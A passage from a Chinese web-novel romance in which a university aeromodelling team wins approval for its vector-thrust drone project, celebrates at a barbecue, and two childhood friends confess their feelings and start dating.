可唐简却异常认真:“没关系,总有一天可以的。阿篱,你帮我算轨道好不好?” …… 周一清晨,夏篱比闹钟醒得还早。 她轻手轻脚地起床,洗漱,换上一件稍显正式又不失活力的衬衫和长裤,将长发利落地扎成马尾。看着镜中眼神清亮且坚定的自己,她暗暗握了握拳头。 今天,只能成功。 夏篱到楼下时,唐简已经等在那里。他也穿了一件偏休闲的衬衫,显得肩宽腿长,精神奕奕。看到夏篱,他眼睛亮了一下,笑着迎她过去……但下一瞬注意到她怀里抱着的小鱼板时,脸上的笑顿了一顿。 唐简还没开口,夏篱已经踩上小鱼板回看着他做了个“闭嘴”的手势,“我已经好了。” “……” 夏篱视线偏了偏,又看他,“你呢,你腿疼吗?” 唐简愣了下才反应过来她在说什么,下意识道,“不疼,我没事。” “……那我也没事。” “……”唐简叹口气,“小心点。” 夏篱满意地笑了下,“嗯哼。” 她踩着熟悉的小鱼板,轻盈地滑过清晨略显安静的校园小路。晨风拂过脸颊,带来一丝凉意,却也让她因为昨夜混乱梦境而有些昏沉的头脑彻底清醒过来。 唐简不紧不慢地跟在她身后,视线掠过她随着滑行动作微微晃动的马尾辫,落在她踩在板上的右脚踝上,终究还是没忍住,开口提醒道:“……速度慢点,当心脚。” 夏篱闻言,非但没减速,反而脚下微微用力,小鱼板倏地向前窜出一小段,拉开和他的距离。她回过头来,晨光在她脸上跳跃,嘴角扬起一个带着小小挑衅的弧度。 唐简看着她灵动的背影和那故意气人的表情,无奈地摇了摇头,嘴角却也不受控制地往上提了提。他没再说什么,只是加快脚步紧紧跟上她。 吃完早饭两人到实验室后没多久,周予和陈默也到了。但因为怕在实验室里留味道,唐简把给二人带的早餐递给他们后就把他们赶到楼梯里去吃了。 吃完四人再次核对了一遍流程,精中求精,细中求细。 快到十点时,何晓雯、王海、张铭轩、孙翡……所有人都到了,自发地站在实验室两侧,每个人脸上都带着紧张和期待。 九点五十分,走廊里传来脚步声和谈话声。 来了! 实验室内的空气仿佛都凝固了一下,所有人的目光都投向门口。 周予深吸一口气,脸上堆起热情又不失稳重的笑容,快步走到门口迎接。 王副院长带着科创办的两位老师准时出现在门口。两位老师一位年纪稍长,神情严肃,另一位则相对年轻,手里拿着一个笔记本。 “王院长,李老师,张老师,欢迎欢迎!”周予连忙侧身引路。 “小周啊,搞得这么正式?”王副院长走进实验室,目光迅速扫过整个环境和严阵以待的学生们,眼中闪过一丝讶异和欣赏。 “应该的应该的,”周予恭敬道,“各位老师能来指导是我们的荣幸。” 王副院长点了点头,看向实验室中样的“探索者1号”,这就是你们视频里的那个验证机? “是的,王院长。”周予立刻进入状态,开始按照预定的流程进行现场讲解,“这就是我们团队在过去一周里,利用极其有限的资源,设计制造出的低成本矢量推进验证机‘探索者1号’。它主要是为了验证我们SAE高级组项目中最核心的矢量推进与仿生飞控结合的可行性……” 周予的口才此刻发挥得淋漓尽致,他从项目初衷、技术难点讲起,结合展板上的设计图和数据分析,条理清晰,重点突出。 唐简适时上前,补充讲解飞控算法的核心思路和仿真验证结果,言简意赅,技术要点把握精准。 夏篱则负责讲解矢量推进部分的机械结构设计、材料选择以及测试中遇到的问题和解决方案。她语气平稳,逻辑清晰,及时面对院长和老师,也丝毫不怯场,展现出扎实的专业功底。 何晓雯和王海等人也在周予的示意下,适时补充了自己负责部分的内容。 整个讲解过程流畅而专业,充分展示了团队的技术实力、协作精神和面对困难时的解决问题的能力。 科创办的两位老师听得非常认真,不时提出一些尖锐的技术问题。 “你们这个矢量推进方案,和国外成熟团队相比,创新点在哪里?”那位戴眼镜的老师发问。 夏篱上前一步从容接话:“老师,我们的创新点主要在于给予强化学习算法优化的仿生飞控与简易矢量机构的低成本耦合方案。传统方案追求硬件精度,我们则尝试通过算法补偿和系统优化,在有限成本下实现尽可能高的性能。这事我们的仿真对比数据和分析报告。” 她示意何晓雯拿出相应的图表,清晰的数据和严谨的分析让提问的老师微微点了点头。 “那项目预算并不宽裕,你们如何确保后续高精度零件的加工和测试?”另一位老师又问。 王海立刻上前,展示了他整理的材料数据库和初步联系的加工渠道:“老师,我们前期做了大量调研,筛选了多家性价比高的材料和加工服务商,并且我们的设计本身就考虑了加工难度和成本的平衡……这事我们的详细预算分解和备选方案。” 王副院长大部分时间都在静静听着,观察着,脸上看不出太多表情,但偶尔也会微微颔首。 讲解结束,到了最关键的试飞演示环节。 所有人的心都提到了嗓子眼。 而当事人唐简却看起来淡定非常。 他拿起遥控器,站在操控位。夏篱紧盯着电脑屏幕上的实时数据监测界面,流淌和孙翡则在一旁待命,负责安全和应急处理。 “悬停测试,开始。”夏篱下达指令。 唐简沉稳地推动油门杆。 电机嗡鸣声想起,四翼螺旋桨高速旋转,带起地面细微的尘埃。“探索者1号”微微颤抖着,平稳离地,在距离约一米的高度成功悬停。 “姿态稳定。进行5度左向偏转测试。”夏篱看着数据,继续下令。 唐简精准地拨动操控杆。左侧矢量喷口微微调整角度,机身开始缓慢但清晰地向左偏移。 “偏转角度4.9度,响应延迟0.16秒,符合预期。”夏篱报出数据。 “尝试一下小半径盘旋。”王副院长忽然开口,增加了一个原定演示外的指示。 周予心里一紧——这个动作对飞控系统和飞手操控精度要求更高。 唐简和夏篱对视一眼,后者飞快地检查了一下系统参数,微微点头。 唐简手指在遥控器上轻揉而果断地动作起来。 “探索者1号”在他的操控下,开始以一个较小的半径平稳地盘旋起来。虽然机身因为成本限制和简化设计不可避免地有些晃动,但轨迹稳定,姿态可控,完美地响应了每一个指令。 这一刻无需再多言语,这架凝聚了团队心血、看似简陋的验证机,用它的实际飞行能力,发出了最有力的证明。 演示结束,唐简操控飞机平稳降落。 “好。”王副院长终于露出了今天的第一个笑容,他带头鼓起了掌,“不错,不错,非常好。” 两位随行老师也纷纷点头,脸上露出赞许的笑容,实验室里响起热烈的掌声。 王副院长走到团队面前,目光扫过每张悸动而年轻的脸庞,语气充满了肯定: “说实话,来之前,我心里是打着鼓的。SAE高级组,难度极大,学校有顾虑是正常的。但是今天,你们给了我一个巨大的惊喜。” 他指着那家“探索者1号”,说,“不仅仅是因为你们让它飞起来了,更是因为你们展现出的这种精神——面对困难不退缩,敢于创新,善于利用有限条件创造无限可能的精神!这种精益求精的钻研劲头和团队协作能力,才是最难能可贵的!” 他顿了顿,声音提高,中气十足地宣布:“你们用实力证明了你们的项目值得支持!学校原则上同意你们的SAE高级组项目正式立项!科创办会尽快走流程,批复经费和必要的资源支持!希望你们戒骄戒躁,继续努力,争取在明年的赛场,为校争光!” “耶——!!” “太好了——!!!” “谢谢院长!!谢谢老师!!!” …… 实验室里瞬间爆发出巨大的欢呼声! 所有的紧张、焦虑、疲惫在这一刻化为狂喜的洪流。 周予激动得差点跳起来,狠狠抱住了旁边的沉默。何晓雯推了推眼镜,嘴角是压抑不住的笑意。王海和张铭轩击掌相庆。孙翡兴奋地拽着旁边刘淌的胳膊又叫又跳。因为性格原因,刘淌虽然表情不大,但眼里也有了光。 夏篱只觉得眼眶一热,一直紧绷的心弦终于松弛下来,巨大的喜悦和成就感充盈着胸膛。她下意识地回头,看向唐简。 唐简也正看着她,那双深邃的眼眸里盛满了笑意和骄傲,还有一丝只有她能看懂的温柔。他悄悄走到她身边,没有说话,只是轻轻握住了她垂在身侧的手。 第70章 王副院长和科创办的两位老师看着这群朝气蓬勃、为共同目标奋力拼搏的年轻人, 脸上也带着欣慰的笑容,没有立刻打断他们的庆祝,反而饶有兴致地打量着实验室里各处张贴的设计图和测试数据, 低声交流着,不时点头。 过了好一会儿, 周予才勉强按捺住激动的心情,在夏篱眼神的示意下,深吸几口气,重新走到王副院长面前,努力保持镇定:“谢谢王院长!谢谢李老师、张老师!我们一定不辜负学校的信任和支持!一定会更加努力!” “好好干, ”王副院长拍了拍周予的肩膀, 目光扫过在场的每一个成员, “项目的具体经费额度和支持细节, 科创办这边会尽快走流程下发正式通知,院里也会在评估过后安排合适的老师带你们。期间有什么困难可以直接向院里反应。记住,这只是开始, 后面的路更长,也更难,要保持住这股劲头。” “是!我们明白!”周予和众人异口同声, 声音响亮。 送走王副院长一行人,实验室里的气氛依旧热烈得像要沸腾一样。 孙翡不知从哪掏出来一把何时藏起来的彩带, 跳着脚往空中一撒,引来大伙一阵笑骂和更大的欢呼。 “好了好了!”周予送走领导回来, 连山更兴奋的红晕还未褪去,他拍着手,声音因激动而格外响亮,“同志们!静一静!听我说!” 实验室里渐渐安静下来, 所有人都目光灼灼地看向他。 “立项只是第一步,真正的硬仗才刚刚开始!”周予努力让自己显得沉稳,但上扬的语调还是出卖了他的心情,“学校的支持意味着更大的责任和更高的要求,我们绝不能松懈!” “接下来我们要立刻行动起来!第一,根据今天院长和老师提的意见,尽快优化完善项目计划书和预算表正式提交!第二,硬件采购、加工联系要立刻提上日程,王海、张铭轩,这部分你们多辛苦,抓紧时间调研比对,拿出最优方案!第三,飞控算法和仿真验证必须加速迭代,何晓雯、夏篱、唐简,你们是核心,压力最大也最辛苦,但也要坚持啊!第四,结构设计和测试方案也要同步跟进……” “……最后,”周予深吸一口气,“我知道大家最近都累坏了。今天下午全体休息!晚上六点,北门外‘老地方’烧烤店,我请客!我们不醉不归!庆祝我们答应了这第一场攻坚战!” “噢——!社长万岁!” 大家笑闹着,积压了许久的压力在这一刻彻底释放。 夏篱看着眼前这一切,看着每一张洋溢着悸动和喜悦的年轻面孔,心中感慨万千。 这一个多星期,不,从她决定加入航模社的那一刻起,所有的争执、挫折、汗水、不眠夜,在这一刻都变得无比值得。 下午下课,十几个人浩浩荡荡地往校门外走,欢声笑语撒了一路。 秋日傍晚的风带着凉意,却吹不散这群年轻人脸上洋溢的热度和光彩。路上行人纷纷侧目,好奇地看着这支明显情绪高涨的队伍。 夏篱原本踩着小鱼板或前或后地跟在队伍四周,但也不知怎地,她一个漂亮的摆尾后轻巧地踩了下板尾一把把小鱼板抱到了怀里。其他人没甚在意,唐简却自然而然地两步走到她身边,“怎么了?脚疼?” 夏篱摇摇头,不太好意思跟他说,她其实只是想跟大家一块走一走而已。 她摇摇头,说,“只是有点饿。” 唐简看了看她的脸,又朝前面浩浩荡荡的众人扫了眼,轻笑,“那一会儿多吃点。” 走在前面的孙翡回头看到落在后面的两人,不怀好意用胳膊肘捣了捣陈默,后者跟着她的示意回头,不怀好意地起哄:“哎哎哎,后面的同学跟上节奏,不要脱离组织搞小团体啊!” 众人闻言都笑着回头看他们。 照往常夏篱不会在意这些,但最近却越发觉得自己有些心虚了。 她下意识想加快脚步,却被唐简轻轻拉了下手腕,“别理他们。” 他手指温热,一触及分,却像一小簇火苗,烫得夏篱耳根微热。 夏篱没说话,只是依旧默默走在他身侧,听着前面大家吵吵嚷嚷地说着什么,心里被一种饱胀的、暖融融的情绪填满。 这种一群人围了同一个目标拼命努力,最终获得认可,然后一起毫无负担地庆祝的感觉,真好。 那是一家烟火气十足的烧烤店。 一个大长桌坐得满满当当,肉串、烤鱼、扇贝、生蚝……各种美食源源不断地送上来,冰镇的饮料和啤酒杯盏交错,碰撞出清脆的响声。 气氛很快就热络起来。 都是年轻人,又刚刚共同经历了这样一场跌宕起伏最终取得胜利的“战役”,彼此间的距离仿佛一下子拉近了许多。 周予作为社长,首先站起来致辞,情绪依旧激动:“今天!是我们航模社……不,是我们SAE高级项目组的大日子!废话不多说,所有的感谢都在酒里了!敬大家!敬我们的‘探索者1号’!敬未来!干杯!” 说完,他仰头灌了一大杯啤酒,赢得一片叫好和掌声。 紧接着,大家都纷纷起身,互相敬酒,感谢彼此的付出,连平时不善言辞的刘淌也红着脸跟孙翡碰了杯,感谢她的协助。何晓雯甚至也主动坐过来和夏篱一起讨论起下一个阶段的算法优化思路。 气氛热烈而融洽。 项目资金的压力少了一半,大家明显放松下来,大声说笑,互相调侃。周予作为社长,更是兴奋地满场飞,挨个敬酒,感谢每个人的付出,说到动情处,眼眶都有些发红。 夏篱看着眼前这一幕,心里暖暖的,充满了难以言喻的感动。这群性格迥异的人,因为同一个梦想聚在一起,共同经历了挫折与奋斗,终于迎来了片刻曙光。 这种并肩作战的情谊,格外珍贵。 她看向对面的唐简,他正被陈默和张铭轩拉着说话,嘴角带着浅淡的笑意,偶尔点头。虽然被灌了不少酒,但也只是耳根微微泛着红,目光始终清亮,时不时地落在对面的夏篱身上。 夏篱被孙翡和何晓雯夹在中间,听着她们和林曦说笑,脸颊也因为热气人声而透着粉色,眼睛弯弯的,像落进了星星。 不知有意无意,夏篱双脚在桌下好好的,突然就被人用腿轻轻夹住了脚踝。温热的体温透过薄薄的裤料传来,夏篱一惊,下意识猛地想抽回来,对方却很快松开,仿佛只是个无意的动作。她本能抬头看对面还正跟人说话的唐简,看到他嘴角那抹得逞的笑泄露了他的故意。 聚餐持续了很久,直到夜色深沉,街上的行人都渐渐稀少。大家吃得心满意足,也聊得尽兴,终于准备打道回府。 秋夜的晚风带着凉意,吹散了烧烤带来的烟火气,也吹得人格外舒畅。一行人走在回校的路上,依旧兴致勃勃地聊着天,笑声飘散在寂静的夜空里。 回到学校,大家各自三三两两散去,唐简自然而然地陪着夏篱往她宿舍楼的方向走。 通往寝室楼的路有一段长长的林荫小道,白天的葱郁在夜晚化作浓重的阴影,路灯光线微弱昏黄,间隔很远才有一盏,只能勉强勾勒出路的轮廓。四周显得格外幽静,与刚才店里的喧闹仿佛是两个世界。 夏篱的心跳在寂静和黑暗中变得异常清晰。 她偷偷侧过头,去看身边的唐简。昏暗的光线下,他的侧影显得有些模糊,却依旧挺拔。她能闻到他身上淡淡的酒气和原本清爽的皂荚香混合在一起,形成一种独特而令人心安的气息。 项目立项了,最大的压力暂时解除。而身边这个人……她好像……再也找不到任何理由去逃避或者否认那份早已悄然变质的感情。 勇气,或者说是一股莫名的冲动,在寂静和黑暗的掩护下悄然滋生。 夏篱的手指微微蜷缩了一下,指尖有些发凉。 又走过一盏路灯,光线更暗了。 她深吸了一口微凉的空气,仿佛下定了某种决心。 悄悄地、慢慢地,将自己的右手,一点点地、试探地,伸向身旁那只自然垂落、随着步伐轻微摆动的大手。 她的指尖先是轻轻碰触到唐简微凉的手背,感受到那皮肤下蕴藏的力量和温热的体温。她的心瞬间提到了嗓子眼,几乎要停止跳动。 然后,她一咬牙,屏住呼吸,将自己的手,轻轻地、却又带着一丝不容退缩的坚定,塞进了他的手掌心里。动作生涩而小心翼翼,带着少女特有的羞涩和巨大的勇气。 唐简的步伐几乎是瞬间顿住了。 所有的声音仿佛都消失了,只剩下两人交握的手心里,那骤然升高的温度和清晰无比的心跳声——不知是她的,还是他的,亦或者它们早已共振在了一起。 唐简猛地停下脚步,转过身来,在极其昏暗的光线下,难以置信地低头看向他们交握的手,然后又倏地抬起眼,目光灼灼地看向夏篱。 夏篱的脸颊在黑暗中烧得厉害,根本不好意思抬头看他的眼睛,只是固执地、紧张地低着头,手指却下意识地、微微用力地蜷缩起来,更紧地抓住了他的手指,仿佛怕他会松开一样。那细微的力道,却像羽毛般轻轻搔刮在唐简的心尖上。 唐简的呼吸似乎都停滞了一瞬,握着她的那只手,掌心滚烫,僵硬了片刻后,随机反应过来,带着一种难以置信的惊喜和极度的小心翼翼,缓缓地、却又无比坚定地收拢手指,将她微凉而柔软的手完全包裹在了自己的掌心之中。 然后,手指又穿过她的指缝,和她十指相扣。 紧密的,不留一丝缝隙。 他的拇指仿佛有自己的意识般,轻轻地、带着细微的颤意,摩挲了一下她光滑的指背。 那一小片皮肤瞬间像是过了电一般,酥麻感迅速蔓延至夏篱的全身。 黑暗中,两人的呼吸声清晰可闻,交织在一起,变得越发灼热而急促。空气里仿佛弥漫开一种甜腻而躁动的气息,将两人紧紧包裹。 青春的情动在此刻的寂静与黑暗里无声疯长,充盈在这段路等微弱、树影婆娑的林荫小道之上,仿佛全世界只剩下他们二人,和那紧紧相扣、沁出细密汗珠的十指。 他没有说话,她也没有。 只是那交握的手,再也没有松开。《 》 70-80 第71章 唐简轻轻一带, 将她拉近了些许。 两人停在昏黄路灯照射不到的浓重树影下,仿佛被一个无形的、私密的茧包裹着。周围只剩下秋虫最后的唧鸣和远处模糊的车流声。 夏篱的心跳快得像是要挣脱胸腔,脸颊滚烫, 没有抬头看他,却能清晰感觉到他灼热的视线落在自己发顶。 沉默在两人之间蔓延, 却并非尴尬,而是充斥着一种心照不宣的、甜腻而紧张的氛围。她刚才鼓足勇气的举动,几乎耗尽了所有的力气,此刻只剩下羞涩和一丝后知后觉的慌乱。 “阿篱。”唐简低声开口,声音在寂静的夜里显得格外低沉沙哑, 带着一丝不易察觉的微颤。 “……嗯。”夏篱的声音细若蚊蝇。 唐简又沉默了几秒, 仿佛在平复过于激荡的情绪, 然后才用一种极尽温柔和认真的语气问:“你知道这代表什么, 对吗?” 夏篱抿了抿唇,心跳依旧紊乱,却鼓足勇气轻轻点了点头。点完头才想起他可能看不清楚, 又小声开口道,“……知道。” 代表她终于不再逃避,代表她承认了自己那份早已超越“发小”界限的心动, 代表她……愿意试着走向他,走进这段全新的、未知的关系。 唐简深深吸了一口气, 又缓缓吐出,握着她的手又紧了几分, 力道却控制得极好,不会弄疼她,只传递着一种沉稳的力量感。 “我好高兴。”他说,声音里的笑意和满足几乎要满溢出来, “真的,阿篱,我从来没有觉得这么高兴过。” 夏篱听着他毫不掩饰的喜悦,心里那点慌乱渐渐被一种暖融融的甜意取代。她终于慢慢抬起头,接着远处路灯微弱慢射过来的光,看向他。 他的眼睛亮得惊人,仿佛盛满了今夜的星光,专注而深情地凝视着她,嘴角上扬着一个大大的、甚至有点傻气的弧度,完全颠覆了他平日里那副冷淡疏离的模样。 夏篱看着他这副样子,忍不住也抿唇笑了笑,心底最后一丝不确定似乎也烟消云散。 而然,笑容还未完全绽开,一个盘旋在她心底许久的问题,却在此刻悄然浮上心头,让她的眼神微微暗了暗,唇角的笑意也淡了下去。 “唐简,”她轻声开口,声音里带上了一丝犹豫和不易察觉的担忧,“你有没有想过……如果,我是说如果……” “没有。”唐简专注地看着她,不假思索道。 “……”夏篱睁大眼睛回看他,“你知道我想问什么吗?” 唐简抬起温热的指尖轻轻碰了碰她的脸,而让夏篱惊诧的是,因为这一下似有若无的碰触,即使是在如此昏暗的光线下,她仿佛也看到他脸上那远不同于往常的温柔神色。 “当然知道。”唐简说,“你怕我们真的在一起了,可最后的结局却不能像爸妈和干爸干妈那样能一直那么好,一直一直的走下去,甚至……到老死不相往来的地步,该怎么办?” 毕竟他们拥有太多共同的过去,交织着两个家庭长达几十年的深厚情谊。这份关系一旦开始,就意味着再也回不到从前。如果失败了,失去的不仅仅是一段恋情,更可能摧毁掉他们之间以及两个家庭之间现有的一切。这个代价太大了,大到让他们即使心动,也始终心存敬畏,不敢轻易踏出那一步。 唐简说完,脸上的笑容缓缓收敛起来,神情变得无比认真。他没有立刻回答这个她即使没来得及问出口他也心知肚明的恐惧,而是沉默了片刻。 而夏篱的心也随着他的沉默又慢慢提了起来。 半晌,唐简抬起另一只手,轻轻捧住她的脸,拇指在她稍显冰凉的脸颊上轻轻蹭了蹭,迫使她的目光与他对视。 他的眼神深邃而坚定,没有丝毫犹豫和闪躲。 “阿篱,”他开口,声音沉稳而有力,一字一句清晰地敲在她的心上,“你觉得当时我决定迈出这一步是因为我不在乎这个吗?不是的。” “我也挣扎、犹豫和害怕过,我担心我走出这一步,而你最后不仅不喜欢我,甚至会因此而厌恶我该怎么办?我能承受那个结果吗?” “但后来我就想通了,因为再多的假设都没办法让我接受你的身边站着的人不是我。所以只要你心里有我,我就绝不会让那种情况发生。” 夏篱怔怔地看着他。 “但是,”唐简话锋一转,眼神依旧专注,“如果你一定要一个答案——如果我们真的运气差到极点,努力到极致,最后还是走到了那一步……” 他顿了顿,目光锁着她,语气是前所未有的郑重和清晰:“那我也会用尽一切办法,把我们之间‘老死不相往来’的距离,变成重新来过的起点。” 夏篱的心猛地一跳。 唐简看着她的反应,嘴角重新牵起一抹极淡却自信的弧度,继续道:“二十年,阿篱。我们认识了二十年。这世上没有人比我更了解你,也没有人比你更了解我。我们吵过闹过,甚至气得恨不得对方立刻消失过,但哪一次真的‘不相往来’了?” “所以,别怕。”他的拇指再次蹭过她的眼角,动作轻柔,“未来的事情谁也无法百分百保证,但我可以向你保证的是,无论发生什么,我绝不会轻易放开你的手,也绝不会让我们走到‘老死不相往来’的那一步。那不是我们故事的结局,甚至连插曲都算不上。” “相信我,也相信我们。”他轻轻把她拥进怀里,然后重重地抱住,“相信我们身上流着爸妈他们的血,相信他们言传身教教给我们该如何相爱,相信他们的结局就是我们往后人生要走的方向,相信这一切。” 唐简声音低沉而充满令人安心的力量,她感受着从他胸膛一下一下传来的那份不容置疑的坚定和那份深藏的温柔,胸腔里那股沉甸甸的、名为“顾虑”的巨石,仿佛被他这番话轻轻松松地击碎了,化作一股温热的暖流,涌向四肢百骸。 她一直都知道唐简很自信,甚至有点“臭屁”,但此刻他的自信,却奇异地抚平了她所有的不安。是啊,他们是唐简和夏篱,他们的关系,从来就不是寻常套路可以定义的。 夏篱深吸一口气,终于彻底放松下来,抬起双手更紧地回抱住他的腰,脸上重新绽开一个清浅却真实的笑意,在他怀里用力点了点头:“……好。” 一个字,却仿佛蕴涵了千言万语和一份沉甸甸的信任与承诺。 唐简感受着怀里的温度和后腰处她紧紧拥抱着自己的力度,心里软的一塌糊涂,他闭着眼感受着这一切,只觉得仿佛有什么东西想要不顾一切地冲出他的身体一样。他很用力很用力地紧紧抱着她,可那感觉却远远不够。 “阿、阿篱?”他开口,却没忍住结巴。 “嗯?”夏篱在他怀里蹭了蹭,闭着眼笑着应了声。 “我……”唐简喉咙吞咽了下,张了张嘴,然后让话一股脑儿滚出来,“我想亲你!” “嗯……啊?”夏篱迟钝地反应了下,猛地抬起头瞪大眼睛看着他,差点没撞到唐简下巴,“你你说什么?” 唐简喉咙顿了顿,只觉得耳根子发烫——不过幸好夜色昏暗能遮掩不少。他借着浅淡的月光从她晶亮的眼睛慢慢下移到她唇上,说,“我想亲你……可以吗?” 他还记得那天她说的那句他要敢亲她他就死定了的话……可现在他们关系不一样了不是吗? “我们在一起了,对吗?”唐简忍不住向她确认,“我们现在不止是发小、朋友,还是恋人了,对吗,阿篱?” “……”夏篱不自觉地用力咬了咬下唇,看着他认真专注且向往期待的眼神,说不出一句否认的话,少顷才脸颊绯红地“嗯”了声。 唐简唇边因为夏篱这简简单单的一个字,无法自抑地上扬再上扬——夏篱甚至觉得他这会儿人看起来冒着一股莫名的傻气。 “那我可以亲你了,对吗?可以吗?”他追着问。 夏篱:“…………” 她目光偏了偏,抿了抿唇没说话……谁家好人会这么问啊……难道还想让她回一句“可以,你来吧!”吗? “阿篱?”他又叫了声她名字。 “……”夏篱想打他的心都有了,恨不能张嘴去咬他……可第一次,她却也不想是自己主动的,只能从喉咙里含糊地再次“嗯”了声……但却也悄悄微微抬了抬下巴,紧紧闭上了眼。 虽然夏篱应的声很小,但唐简还是听得很清楚。他不自觉收紧了扶在她腰间的手,视线捕捉到她微微轻颤的唇,然后低头慢慢地凑近……越来越近…… 夏篱能感觉到唐简温热的呼吸缓慢地从她的额头鼻梁鼻尖渐渐滑落到她的人中上,然后……停止了。随着越来越近的热息,她攥着他腰后夹克衣料的手也越攥越紧……甚至不知是不是因为他凑近掠夺了自己四周的空气,她居然觉得有些难以呼吸起来。 她感觉得到,唐简其实并没比她好多少——他显然也不像他往常那样的游刃有余——因为她明显察觉到他箍在自己腰间的手几乎快把她捏断了…… 太近了……近到能感受到彼此皮肤下奔涌的热意,一种巨大的、从未体验过的酥麻感从脊椎尾端窜上来,让她腿软得几乎站不住。 她下意识屏住了呼吸,胸口憋得发疼,大脑因为缺氧而阵阵发晕,即使紧闭着双眼她眼前甚至也开始出现细碎的光点。再这样下去,她觉得自己可能会成为第一个因为接吻前过度紧张而窒息的人。 这个念头像一道微弱的电流,骤然劈开了混沌的暧昧。 就在她人中上的热息微动的下一秒,夏篱仿佛再承受不住似的猛地偏开了头,滚烫的脸颊猝不及防地擦过唐简同样灼热的下颌。她用力抽回自己汗湿的手,几乎是踉跄着向后跌退了一步,猛然转过身,心脏在胸腔里疯狂擂鼓,几乎要跳出来。 她不好意思回头,抬手用手背冰了冰烫得吓人的脸颊,也结巴道,“要不还、还是下次吧!” 她也是太高估她自己了! 然而还没等夏篱彻底冷静下来,唐简已经再次从身后紧紧抱住了她。他下巴抵在她的肩膀上,鼻尖轻轻在她颈边蹭了蹭,闻着她身上清甜的桃子香气,低声道,“那再抱一下好了,就一下。” 第72章 夏篱被他从身后紧紧抱住, 背脊隔着衣料能清晰感受到他胸腔里传来的、又快又重的心跳声,一下一下,敲打在她的后心, 与她自己的心跳几乎同频。他温热的呼吸拂过她耳畔颈侧,带着一种难以言喻的、独属于他的干净气息。 “就一下。”唐简又低声重复了一遍, 声音闷在她的肩窝,带着点不易察觉的耍赖和贪恋。 夏篱没动,也没挣开。她垂着眼,感受着这个过于紧密的拥抱,脸颊上的热意非但没有消退,反而有愈演愈烈的趋势。她甚至能感觉到他脸颊贴在她颈侧皮肤的温度, 烫得惊人。 寂静再次笼罩下来, 但这一次, 空气里漂浮的不再是犹豫和试探,而是一种心照不宣的、甜得发腻的亲密。路灯的光线依旧昏暗,将两人相拥的身影拉长, 模糊地投在水泥地上。 也不知道到底过了多久,也许只有几十秒,也许有几分钟……唐简仍旧一副没打算松手的模样。夏篱忍不住动了动肩膀, 红着脸小声道,“……差不多行了啊唐建军!” 唐简闻言睁开眼, 笑了声,胸膛震动明显。他飞快地侧头在夏篱脸侧亲了口, 然后直起身子,眼看着她反应极速地、仿佛被他非礼了似的从他怀里出去,转头捂着脸瞪大眼睛看着他。 “你你你!”夏篱又羞又窘,本能地抬脚去踢他, “趁人之危,小人做派!” 然而她动作已经如此快了却还是被唐简不仅零帧起步的一闪而过,甚至错身再一次上前一把抱住她的腰,直接把她抱离了地面原地转了两圈。 夏篱被他这一通毫无预兆地操作给弄傻了,为了稳住身子,只能用力环抱住他的脖子。 唐简虽然什么都没说,但她却仿佛能感受到四周回荡着他此时无处不在的愉悦。 夏篱突然能够切实地感觉得到他是真的开心,很开心。 而他的这种愉悦好似会传染一样,让她唇角也不自觉地再次上扬起来。 少顷,唐简终于放她下来,手指顺着她的手腕下滑,自然地牵住了她的手,掌心依旧滚烫。 他没再做什么出格的举动,只是牵着她,不紧不慢地往前走。 这段回宿舍最后的路程,变得格外漫长又格外短暂。宿舍楼的灯光在不远处两者,像一道无形的分界线。 两人都没再说话。 夏篱能感觉到自己的手被他牢牢地握在手里,十指交扣的姿势甚至比刚才还要紧密。他的拇指无意识地、一下下地摩挲着她虎口的位置,带来一阵阵细微的、令人心悸的痒意。 她试图让自己看起来自然一点,目光平视前方,努力忽略掉手上传来的、几乎要攫取她所有注意力的触感和温度。但收效甚微。她的全部感官似乎都集中在了那只被他紧紧握住的手上。 到了宿舍楼下,大厅的光透出来,明亮了许多。 “我……”夏篱张了张嘴,觉得得说点什么,却又不知道说什么好,只好说了句废话,“我上去了。” “好。”唐简应着,手指却没有松开。 夏篱轻轻动了动手指,示意他放开。唐简这才仿佛极其不舍地,慢慢松开了手。 失去包裹的瞬间,微凉的空气掠过手背,那鲜明的温度差让她心里莫名空了一下。 “上去吧,早点睡。”唐简看着她,眼神温柔。 “嗯,你也是。”夏篱点点头,转身欲走。 “阿篱。”他又叫住她。 夏篱回头,看到他抬起另一只手笑着对她晃了晃。 她看着他手里自己的小鱼板:“…………” 夏篱瞪大眼,低头看了看自己空空如也的两只手,哑口无言,“它什么时候跑你手里的?” 或者换句话说……她什么时候把它丢了的? 唐简嘴角噙着压不住的笑意,“大概是在我说想亲——” 他话还没说完,夏篱已经一个箭步上来踮脚捂住了他的嘴,她警惕地往四周看,“闭嘴闭嘴。” 唐简被她反应给逗得不行,得寸进尺地故意嘟了下嘴在她掌心里亲了口,这下可是把夏篱吓坏了,猛然把手缩回到身后耳根发烫地咬牙切齿看着他,“唐、建、军!” 唐简可没真想“惹怒”她,忙不迭举起另一只手,然后把手里的小鱼板递给她,“好了好了,不逗你了。快上去。” “晚安。”他最后又补了句,声音低沉温柔。 夏篱拿过小鱼板抱在身侧,压根都不想跟他说话了,连回一句“晚安”都没有,直接转身进了大厅。 然而刚走了两步,却又没忍住回头看了眼,看到唐简还站在原地,笑着冲她挥了挥手。 她的心跳又快了一拍,下意识也抬起手想给他挥一挥,却又觉得自己这样看起来好傻,只好飞快转身往楼上跑去了。 回到宿舍推门进去,夏篱猝不及防跟刚从浴室出来的梁清波撞了个面对面。 两人不约而同地一愣。 自从夏篱那次在操场边看到疑似梁清波的女孩和陆子航在一起,而她又瞒着她们加入航模社开始,两人之间就隐隐约约像有了个看不见的屏障一样。 双方都在尽可能地“躲”着对方。 夏篱以前也从未遇见过这种事,除了“躲”,她也不知道该如何面对一个她甚至不知道任何缘由就莫名欺骗自己的人。 “回来了?”短暂愣怔后,梁清波先开了口。 夏篱“嗯”了声,回头把门关上。 乐苗正在追喜欢的综艺看,闻声只是回头给她招了招拿着薯片的手。 方茴敷着面膜看她问,“聚餐怎么样?那家烧烤好吃吗?我们社这周末也要团建,好吃的话我也跟我们社长建议建议。” 夏篱点点头,“味道可以的。” “太好了,这几天正馋烧烤呢!” 两人又闲聊了几句,夏篱就拿着东西去洗漱了。 这天她以为自己会一夜无眠,可实际上睡得还挺好的,以至于第二天差点儿睡过头。 闹钟不知是不是被自己关了,清醒过来时,已经比平时晚了快二十分钟。她抓过手机看,屏幕上躺着两条唐简二十分钟前发来的消息。 【唐杀千刀】:楼下等你 【唐杀千刀】:女朋友 夏篱:“……” 看着屏幕上“女朋友”三个字,她眨了眨眼,昨晚上的一切才走马观花似的开始在她脑海里飞速回溯。 女朋友。 夏篱盯着那三个字,唇角不自觉上扬,然后……一个激灵坐起来,飞快回复:马上马上! 